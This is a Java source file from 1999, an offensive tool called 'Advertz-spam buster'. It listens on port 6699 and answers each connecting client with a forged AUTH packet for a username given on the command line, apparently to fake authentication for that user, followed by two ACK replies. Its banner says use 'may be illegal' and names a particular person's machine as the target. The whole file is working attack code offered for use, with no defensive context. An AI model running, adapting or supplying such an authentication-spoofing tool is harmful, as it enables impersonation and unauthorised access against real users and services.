import java.io.*;
import java.net.*;
import java.util.*;
import java.lang.*;

public class jnauix2
{
  static int PORT=6699;
  
  public static void main (String args[])
  {
    byte ap[]={'\u0000','\u0000','\u0000','\u0000','\u0000','\u0071','\u0000','\u0038',
    		'\u0000','\u003f','\u0000','\u003a','\u0000','\u0033','\u0000','\u003d',
		'\u0000','\u0048','\u0000','\u0023','\u0000','\u004e','\u0000','\u004a',
		'\u0000','\u0048','\u0000','\u003b','\u0000','\u0043','\u0000','\u003b',
		'\u0000','\u0023','\u0062','\u0026','\u0000','\u0026','\u0000','\u0026',
		'\u0000','\u002b','\u0000','\u0023','\u0000','\u0047','\u0000','\u0031',
		'\u0000','\u004b','\u0000','\u0044','\u0000','\u0033'};
    
    System.out.println("\nAdvertz-spam buster v2.2000720j by Phoenix <phoenix@grhack.gr> (26-12-99)\n"+
			"\n\t\t*** Java Version ***\n"+
			"\t\tfor fouk0's box only! :P\n"+
			"\n\t%note% use of this program may be illegal!!\n"+
			"\tuse at your own risk.. for extreme people only..\n");

    if(args.length<1 || args[0].length()>666){
	System.out.println("Usage: jnauix2 <username>\n");
	System.exit(-1);
    }

    int usrlen=args[0].length();
    System.out.println("Initialising random number generator..");
    Date daDate=new Date();
    Random findme=new Random(daDate.getTime());
    System.out.println("Creating custom AUTH packet..");
    byte apb[]=new byte[ap.length+(usrlen*2)];
    for(int i=0;i<ap.length;i++)
      if(ap[i]==0) apb[i]=(byte) (1+findme.nextInt());
      else apb[i]=ap[i];
    for(int i=0;i<(usrlen*2);i++){
      apb[ap.length+i++]=(byte) (1+findme.nextInt());
      apb[ap.length+i]=(byte) (args[0].charAt(i/2)-10);
    }
    if(usrlen>4){
      apb[3]='\u0033';
      apb[4]=(byte) ('\u002a'+usrlen);
    }else{
      apb[3]='\u0032';
      apb[4]=(byte) ('\u0034'+usrlen);
    }
      
    try{
      System.out.println("Creating socket..");
      ServerSocket ssock=new ServerSocket(6699);
      while(true){
	    try{
	        System.out.println("Waiting for connection for user ]"+args[0]+"[ at port ]"+PORT+"[..");
	        Socket sock=ssock.accept();
	        System.out.println("Got connection from "+sock.getInetAddress().getHostAddress()+":"+sock.getPort()+"\nSending AUTH packet..");
	        OutputStream sockps=sock.getOutputStream();
	        InputStream sockis=sock.getInputStream(); 
    	    sockps.write(apb);
	        sockis.read();
	        sockis.skip(sockis.available());
	        System.out.println("Sending ACK#1..");
	        sockps.write(new String("ACK").getBytes());
	        sockis.read();
	        sockis.skip(sockis.available());
	        System.out.println("Sending ACK#2..");	  
   	        sockps.write(new String("ACK").getBytes());
	        sockis.read();
	        sock.close();
     	    System.out.println("\nEnj0y ;)\n");
        }
        catch(IOException e){
	        ssock.close();
            System.err.println("listen");
        }
      }
    }
    catch(IOException e){
      System.err.println("bind");
    } 
  }
}
